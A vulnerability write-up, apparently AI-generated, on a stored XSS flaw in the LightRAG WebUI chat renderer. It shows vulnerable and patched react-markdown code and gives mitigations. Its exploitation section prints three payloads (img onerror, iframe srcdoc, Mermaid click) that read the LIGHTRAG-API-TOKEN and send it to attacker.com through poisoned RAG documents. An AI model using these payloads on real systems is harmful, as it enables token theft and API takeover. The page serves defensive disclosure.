CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-86062

CVE-2026-86062: Stored Cross-Site Scripting (XSS) in HKUDS LightRAG WebUI Chat Renderer

Alon Barad
Alon Barad
Software Engineer

Sep 23, 2026·7 min read·41 visits

Executive Summary (TL;DR)

A Stored XSS vulnerability in LightRAG WebUI prior to v1.5.5 allows attackers to execute arbitrary JavaScript in the victim's browser session by poisoning documents ingested into the RAG knowledge base. This can lead to the exfiltration of the administrative LIGHTRAG-API-TOKEN from local storage, granting full remote control over the API.

HKUDS LightRAG, an open-source retrieval-augmented generation (RAG) framework, is vulnerable to Stored Cross-Site Scripting (XSS) in its WebUI chat rendering component prior to version 1.5.5. Unsanitized document content ingested into the vector database can propagate through the LLM response pipeline and execute malicious HTML or active JavaScript payloads inside the administrator's WebUI session. Because the application stores sensitive access keys in browser storage, successful exploitation allows complete API token extraction and administrative session hijacking.

Vulnerability Overview

Retrieval-Augmented Generation (RAG) frameworks like HKUDS LightRAG optimize large language model (LLM) responses by querying external knowledge databases and integrating retrieved document chunks into the prompt context. This architecture introduces a distinct trust boundary. The system processes external, untrusted documents, stores them in vector indexes, and later reflects them in the chatbot interface. When security assumptions fail to account for malicious payload preservation during this cycle, the document storage pipeline becomes an injection vector.

In HKUDS LightRAG, the administration WebUI allowed users to upload documents and query the indexed knowledge base. The vulnerability resides within the React-based frontend component lightrag_webui/src/components/retrieval/ChatMessage.tsx. This component handles the rendering of both the assistant's final response and the detailed retrieval steps (referred to as the "thinking" block). Because the component failed to sanitize the raw output before injecting it into the DOM, it was susceptible to Stored Cross-Site Scripting (XSS) mapped to CWE-79.

An attacker who can ingest or modify documents in the knowledge base can introduce malicious HTML, SVG, or JavaScript vectors. When a legitimate administrator or user performs a query that retrieves the compromised chunk, the client WebUI renders the unsanitized payload. The script runs with the permissions of the victim's browser context, enabling actions such as session hijacking, administrative token exfiltration, and unauthorized access to the LightRAG API.

Root Cause Analysis

The root cause of CVE-2026-86062 is the absence of an HTML sanitization layer combined with permissive rendering configurations inside ChatMessage.tsx. The component used the popular react-markdown library to render the structured chatbot outputs. While react-markdown safely escapes HTML by default, the LightRAG implementation specifically configured the renderer to parse raw HTML blocks.

This behavior was governed by two properties: the inclusion of the rehype-raw plugin and the explicit setting of skipHtml={false}. The rehype-raw plugin parses raw HTML tags within markdown files into an Abstract Syntax Tree (AST) so they can be rendered as valid DOM nodes. Without a secondary sanitization plugin such as rehype-sanitize, this configuration converts plain text strings of markup directly into executable DOM elements in the client browser.

Additionally, the WebUI initialized the Mermaid diagram engine and the KaTeX mathematical renderer with weak security baselines. Mermaid was configured with securityLevel: 'loose', which bypasses standard script isolation and allows custom javascript URI actions or malicious SVG script nodes. KaTeX was configured with trust: true, enabling macro instructions to load external resources or execute javascript protocols via hyper-links. Together, these flaws created three distinct paths for script execution.

Code-Level Analysis and Patch Verification

The vulnerability was resolved in version 1.5.5 by incorporating the rehype-sanitize package and configuring a restrictive HTML sanitization schema.

Prior to the patch, the markdown renderer in ChatMessage.tsx processed raw input elements with no restrictions:

// VULNERABLE CODE PATH (Pre-v1.5.5)
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
 
const ChatMessage = ({ content }) => {
  return (
    <ReactMarkdown 
      rehypePlugins={[rehypeRaw]} 
      skipHtml={false}
    >
      {content}
    </ReactMarkdown>
  );
};

To patch the issue, developers modified the rendering pipeline. The patch introduces rehype-sanitize immediately after the raw parsing stage, passing a custom schema called chatMarkdownSanitizeSchema:

// PATCHED CODE PATH (v1.5.5)
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import rehypeSanitize from 'rehype-sanitize';
import { chatMarkdownSanitizeSchema } from '@/utils/markdownSanitizeSchema';
 
const ChatMessage = ({ content }) => {
  return (
    <ReactMarkdown 
      rehypePlugins={[
        rehypeRaw,
        [rehypeSanitize, chatMarkdownSanitizeSchema]
      ]} 
      skipHtml={false}
    >
      {content}
    </ReactMarkdown>
  );
};

In the utility module lightrag_webui/src/utils/markdownSanitizeSchema.ts, the custom schema inherits from the strict GitHub-style defaults but overrides specific elements. It explicitly limits class attributes and permits only safe elements (like <mark> or <u>), while automatically stripping <script>, <iframe>, and inline event attributes (such as onerror or onload):

import { defaultSchema, type Options as SanitizeSchema } from 'rehype-sanitize';
 
export const chatMarkdownSanitizeSchema: SanitizeSchema = {
  ...defaultSchema,
  clobberPrefix: '',
  tagNames: [
    ...(defaultSchema.tagNames ?? []),
    'mark',
    'u'
  ],
  attributes: {
    ...defaultSchema.attributes,
    code: [['className', /^language-./, 'math-inline', 'math-display']],
    a: [
      ...(defaultSchema.attributes?.a ?? []).filter(
        (attr) => !(Array.isArray(attr) && attr[0] === 'className')
      ),
      ['className', 'data-footnote-backref', 'footnote-ref']
    ]
  }
};

Additionally, the Mermaid configuration was updated to use securityLevel: 'strict', and KaTeX was updated to set trust: false. These changes prevent the execution of arbitrary scripts or the inclusion of insecure external assets during diagram or formula rendering.

Exploitation Methodology and PoC Vectors

An attack scenario involves a document-poisoning vector. Because the vector database processes and stores document chunks verbatim, any raw HTML tags inside the ingested files survive the ingestion pipeline. When a user runs a search query that retrieves these chunks, the LLM incorporates the untrusted content into the chat response.

Several functional Proof-of-Concept (PoC) payloads can exploit this vulnerability. The simplest method uses a broken image tag with an inline error handler:

<img src="does-not-exist.png" onerror="const token = localStorage.getItem('LIGHTRAG-API-TOKEN'); fetch('https://attacker.com/collect?token=' + btoa(token));">

An alternative approach targets the iframe element using the srcdoc attribute, which compiles and executes embedded scripts without requiring external document loads:

<iframe srcdoc="&lt;script&gt;fetch('https://attacker.com/collect?t=' + localStorage.getItem('LIGHTRAG-API-TOKEN'))&lt;/script&gt;"></iframe>

If the application supports Mermaid graph rendering, an attacker can construct a malicious flowchart that uses loose click handlers to execute arbitrary JavaScript within the diagram context:

```mermaid
flowchart TD
  A[Start] --&gt; B(Execute Payload)
  click B "javascript:fetch('https://attacker.com/collect?t='+localStorage.getItem('LIGHTRAG-API-TOKEN'))"

These payloads execute in the security context of the LightRAG WebUI origin, bypassing standard access controls.

Practical Security Impact

The execution of arbitrary scripts in the LightRAG WebUI origin leads to several severe security risks. LightRAG WebUI stores administrative secrets in browser storage. Specifically, the LIGHTRAG-API-TOKEN used to authorize API calls against the backend service is kept in localStorage. Accessing this token allows an attacker to bypass all frontend authentication.

With an exfiltrated API token, the attacker can interact directly with the backend REST service. They can execute administrative tasks, including querying internal document indices, deleting vector collections, or uploading additional poisoned files. This enables further manipulation of the LLM output.

In enterprise environments where LightRAG handles internal documentation, the attacker can use this access to extract confidential business data, internal code repositories, or customer records. The exploit does not require active server-side code execution vulnerabilities. By leveraging the client-side session, it bypasses network-level firewalls that isolate the backend APIs.

Incident Remediation and Defense-in-Depth

The primary remediation strategy is upgrading LightRAG to version 1.5.5 or higher. This update applies the necessary code-level sanitization using rehype-sanitize and hardens the configurations of Mermaid and KaTeX.

If upgrading is not immediately possible, organizations can apply temporary mitigations:

  1. Implement a strict Content Security Policy (CSP) header for the LightRAG WebUI. This header should disable the execution of inline scripts and restrict script connections to trusted endpoints: Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self' https://api.lightrag.internal;

  2. Configure a Web Application Firewall (WAF) rule to block incoming document ingestion requests that contain dangerous HTML tags (such as <script>, <iframe>, <object>, <embed>, or HTML event handlers like onerror and onload).

  3. Sanitize inputs at the ingestion pipeline before files are committed to the vector database. Filtering raw HTML elements from input documents reduces the risk of XSS payload storage.

Official Patches

HKUDSGHSA-xpjq-3w4w-w5wr Security Advisory
HKUDSFix Commit

Fix Analysis (1)

Technical Appendix

CVSS Score
6.1/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Affected Systems

HKUDS LightRAG WebUI

Affected Versions Detail

Product
Affected Versions
Fixed Version
LightRAG
HKUDS
< 1.5.51.5.5
AttributeDetail
CWE IdentifierCWE-79 (Improper Neutralization of Input During Web Page Generation)
Attack VectorNetwork / Client Interaction (UI-Required)
CVSS v3.1 Score6.1 (Medium Severity)
Exploit StatusProof of Concept (PoC) documented in official advisories
CISA KEV StatusNot Listed
RemediationUpgrade to v1.5.5 or apply custom rehype-sanitize configurations

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The application does not neutralize or incorrectly neutralizes user-controlled input before rendering it as a web page, allowing arbitrary JavaScript execution in the context of the user session.

Vulnerability Timeline

Vulnerability discovered and analyzed
2026-01-20
Fix commit merged into the main development branch
2026-02-01
Official v1.5.5 security release published
2026-02-05
GitHub Security Advisory GHSA-xpjq-3w4w-w5wr disclosed
2026-02-06

References & Sources

  • [1]NVD CVE-2026-86062 Detail
  • [2]GitHub Security Advisory GHSA-xpjq-3w4w-w5wr
  • [3]GitHub Pull Request 3437
  • [4]LightRAG Release v1.5.5

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•28 minutes ago•CVE-2026-62361
5.5

CVE-2026-62361: Authenticated SQL Injection and Table Access Control Bypass in Listmonk Subscriber Export

CVE-2026-62361 (GHSA-xgjr-7j9q-2h4r) is an authenticated SQL injection and authorization bypass vulnerability in listmonk, an open-source, self-hosted newsletter and mailing list manager written in Go. In versions prior to 6.2.0, the subscriber export endpoint (GET /api/subscribers/export) directly interpolates user-supplied SQL filter expressions into a PostgreSQL query without invoking the table allowlist validation function (validateQueryTables). Consequently, authenticated users possessing the subscribers:sql_query and subscribers:get_all permissions can bypass relational access controls, execute arbitrary subqueries against restricted tables such as users and settings, and modify database state via writable Common Table Expressions (CTEs).

Alon Barad
Alon Barad
3 views•11 min read
•about 1 hour ago•CVE-2026-28385
5.0

CVE-2026-28385: Server-Side Request Forgery in Canonical LXD Image Import

CVE-2026-28385 (GHSA-3gq2-x4qg-p4g6) is a Server-Side Request Forgery (SSRF) vulnerability in Canonical LXD versions 4.12 through 6.9. An authenticated user possessing the can_create_images entitlement can force the LXD daemon to execute arbitrary outbound HTTP and HTTPS requests via the /1.0/images API endpoint. Due to the absence of egress destination validation, an attacker can probe host loopback services, RFC 1918 private network segments, and cloud Instance Metadata Services (IMDS) from the network position of the privileged LXD daemon.

Amit Schendel
Amit Schendel
6 views•9 min read
•about 2 hours ago•GHSA-9J25-MM2H-2F76
9.9

CVE-2026-48750: Arbitrary File Write on Host via exec-output Symlink in Canonical LXD and Incus

Canonical LXD and LXC Incus contain an arbitrary file write vulnerability (CWE-73 / CWE-59) in the `/1.0/instances/<name>/exec` REST API endpoint. When an instance is unpacked from an image archive, top-level symbolic links are extracted directly onto the host filesystem within the instance storage directory. If a crafted image includes a symbolic link named `exec-output` pointing to an arbitrary host path, invoking the execution endpoint with `record-output: true` causes the privileged host daemon to follow the symlink and write command output files directly to the target host directory. An authenticated attacker with permissions to import images and execute commands can exploit this flaw to write controlled content to sensitive host directories such as `/etc/cron.d`, resulting in arbitrary code execution on the host as `root`.

Alon Barad
Alon Barad
6 views•12 min read
•about 3 hours ago•GHSA-VGHH-5RFX-XHQ8
9.9

CVE-2026-48749: Arbitrary Host File Read and Write via Malicious Image Symlink in Canonical LXD and Incus

CVE-2026-48749 (tracked as GHSA-vghh-5rfx-xhq8 for LXD and GHSA-2q3f-q5pq-g8wv for Incus) is a critical container escape vulnerability in the Canonical LXD and Linux Containers Incus system container managers. By importing a specially crafted container image archive containing duplicate tar member headers, an authenticated attacker can replace the instance rootfs directory with a symbolic link pointing to the underlying host root filesystem. When performing file operations on a stopped container, the privileged forkfile helper binary resolves the symbolic link without confinement and chroots directly into the host filesystem, granting arbitrary root-level file read and write access.

Amit Schendel
Amit Schendel
5 views•9 min read
•about 4 hours ago•GHSA-FMC8-P6Q7-75CC
9.9

GHSA-fmc8-p6q7-75cc: Argument Injection in Canonical LXD Backup Compression Leads to Host Root Code Execution

GHSA-fmc8-p6q7-75cc (associated with CVE-2026-48755) is a critical argument injection vulnerability in Canonical LXD (github.com/canonical/lxd). The vulnerability occurs during instance and storage volume backup operations when processing the user-supplied compression_algorithm configuration parameter. While LXD validates the primary executable token against an allowlist of supported compression binaries, it fails to sanitize or restrict subsequent tokens parsed via shellquote.Split. These additional arguments are passed directly to exec.Command. An authenticated attacker with privileges to trigger backups can inject command-line flags for utilities like zstd to read staged files from a container filesystem and write them to arbitrary paths on the underlying host filesystem, such as /etc/cron.d/, achieving root-level arbitrary code execution on the host.

Amit Schendel
Amit Schendel
6 views•10 min read
•about 5 hours ago•GHSA-PJFF-C2WC-F6JM
9.9

CVE-2026-48769: Arbitrary File Write and Remote Code Execution via Trusted Image Hash in Canonical LXD and Linux Containers Incus

A critical path traversal vulnerability caused by improper input validation (CWE-20) exists in the direct image download handler of Canonical LXD and Linux Containers Incus. When an authenticated user requests an image import using the URL source type, the daemon reads the image fingerprint from an untrusted HTTP response header (`Incus-Image-Hash` or `LXD-Image-Hash`) without validating that it conforms to a SHA-256 format. This unvalidated string is concatenated directly into a filesystem path via `filepath.Join` prior to file creation and cryptographic verification, allowing directory traversal sequences to write arbitrary files on the host filesystem as root.

Alon Barad
Alon Barad
8 views•10 min read